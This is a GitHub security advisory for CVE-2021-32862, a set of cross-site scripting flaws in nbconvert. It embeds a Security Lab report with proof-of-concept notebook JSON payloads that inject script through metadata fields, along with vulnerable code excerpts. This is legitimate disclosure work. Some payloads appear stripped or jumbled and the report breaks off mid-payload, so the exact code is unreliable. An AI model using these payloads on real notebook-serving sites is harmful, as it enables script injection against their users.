GitHub Advisoryadvisory · PyPI
GHSA-9jmq-rx5f-8jwq nbconvert vulnerable to cross-site scripting (XSS) via multiple exploit paths
MEDIUM
Official page ↗
- Aliases
- CVE-2021-32862
- Ecosystem
- PyPI
- Packages
- nbconvert
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2022-08-10
Affected packages
• PyPI nbconvert: < 6.5.1 → fixed in 6.5.1
Description
Most of the fixes will be in this repo, though, so having it here gives us the private fork to work on patches
Below is currently a duplicate of the original report:
----
Received on [email protected] unedited, I'm not sure if we want to make it separate advisories.
Pasted raw for now, feel free to edit or make separate advisories if you have the rights to.
I think the most important is to switch back from nbviewer.jupyter.org -> nbviewer.org at the cloudflare level I guess ? There might be fastly involved as well.
---
Impact
_What kind of vulnerability is it? Who is impacted?_
Patches
_Has the problem been patched? What versions should users upgrade to?_
Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
References
_Are there any links users can visit to find out more?_
For more information
If you have any questions or comments about this advisory:
• Open an issue in example link to repo
• Email us at example email address
---
GitHub Security Lab (GHSL) Vulnerability Report
The GitHub Security Lab team has identified potential security vulnerabilities in nbconvert.
We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.
If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at `[email protected]` (please include `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` as a reference).
If you are _NOT_ the correct point of contact for this report, please let us know!
Summary
When using nbconvert to generate an HTML version of a user-controllable notebook, it is possible to inject arbitrary HTML which may lead to Cross-Site Scripting (XSS) vulnerabilities if these HTML notebooks are served by a web server (eg: nbviewer)
Product
nbconvert
Tested Version
v5.5.0
Details
Issue 1: XSS in notebook.metadata.language_info.pygments_lexer (`GHSL-2021-1013`)
Attacker in control of a notebook can inject arbitrary unescaped HTML in the `notebook.metadata.language_info.pygments_lexer` field such as the following:
```json
"metadata": {
"language_info": {
"pygments_lexer": "ipython3-foo\">alert(1)"
}
}
```
This node is read in the `from_notebook_node` method:
```python
def from_notebook_node(self, nb, resources=None, kw):
langinfo = nb.metadata.get('language_info', {})
lexer = langinfo.get('pygments_lexer', langinfo.get('name', None))
highlight_code = self.filters.get('highlight_code', Highlight2HTML(pygments_lexer=lexer, parent=self))
self.register_filter('highlight_code', highlight_code)
return super().from_notebook_node(nb, resources, kw)
```
It is then assigned to `language` var and passed down to `_pygments_highlight`
```python
from pygments.formatters import LatexFormatter
if not language:
language=self.pygments_lexer
latex = _pygments_highlight(source, LatexFormatter(), language, metadata)
```
In this method, the `language` variable is concatenated to `highlight hl-` string to conform the `cssclass` passed to the `HTMLFormatter` constructor:
``` python
return _pygments_highlight(source if len(source) > 0 else ' ',
# needed to help post processors:
HtmlFormatter(cssclass=" highlight hl-"+language),
language, metadata)
```
The `cssclass` variable is then concatenated in the outer div class attribute
``` python
yield 0, ('')
```
Note that the `cssclass` variable is also used in other unsafe places such as `'' % self.cssclass + filename_tr +`)
Issue 2: XSS in notebook.metadata.title (`GHSL-2021-1014`)
The `notebook.metadata.title` node is rendered directly to the `index.html.j2` HTML template with no escaping:
```html
{% set nb_title = nb.metadata.get('title', '') or resources['metadata']['name'] %}
{{nb_title}}
```
The following `notebook.metadata.title` node will execute arbitrary javascript:
```json
"metadata": {
"title": "TITLEalert(1)"
}
```
Note: this issue also affect other templates, not just the `lab` one.
Issue 3: XSS in notebook.metadata.widgets(`GHSL-2021-1015`)
The `notebook.metadata.widgets` node is rendered directly to the `base.html.j2` HTML template with no escaping:
```html
{% set mimetype = 'application/vnd.jupyter.widget-state+json'%}
{% if mimetype in nb.metadata.get("widgets",{})%}
{{ nb.metadata.widgets[mimetype] | json_dumps }}
{% endif %}
```
The following `notebook.metadata.widgets` node will execute arbitrary javascript:
```json
"metadata": {
"widgets": {
"application/vnd.jupyter.widget-state+json": {"foo": "pwntesteralert(1);//"}
}
}
```
Note: this issue also affect other templates, not just the `lab` one.
Issue 4: XSS in notebook.cell.metadata.tags(`GHSL-2021-1016`)
The `notebook.cell.metadata.tags` nodes are output directly to the `celltags.j2` HTML template with no escaping:
```
{%- macro celltags(cell) -%}
{% if cell.metadata.tags | length > 0 -%}
{% for tag in cell.metadata.tags -%}
{{ ' celltag_' ~ tag -}}
{%- endfor -%}
{%- endif %}
{%- endmacro %}
```
The following `notebook.cell.metadata.tags` node will execute arbitrary javascript:
```json
{
"cell_type": "code",
"execution_count": null,
"id": "727d1a5f",
"metadata": {
"tags": ["FOO\">alert(1)alert(1)"
]
},
"execution_count": 5,
"metadata": {},
"output_type": "execute_result"
}
],
"source": [
"import os; os.system('touch /tmp/p…
Related
Alias · CVE (1)
- CVE-2021-32862 The GitHub Security Lab discovered sixteen ways to exploit a cross-site scripting vulnerability in nbconvert. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness
References
- https://github.com/jupyter/nbconvert/security/advisories/GHSA-9jmq-rx5f-8jwq web
- https://github.com/jupyter/nbviewer/security/advisories/GHSA-h274-fcvj-h2wm web
- https://nvd.nist.gov/vuln/detail/CVE-2021-32862 advisory
- https://github.com/jupyter/nbconvert package
- https://github.com/pypa/advisory-database/tree/main/vulns/nbconvert/PYSEC-2022-249.yaml web
- https://lists.debian.org/debian-lts-announce/2023/06/msg00003.html web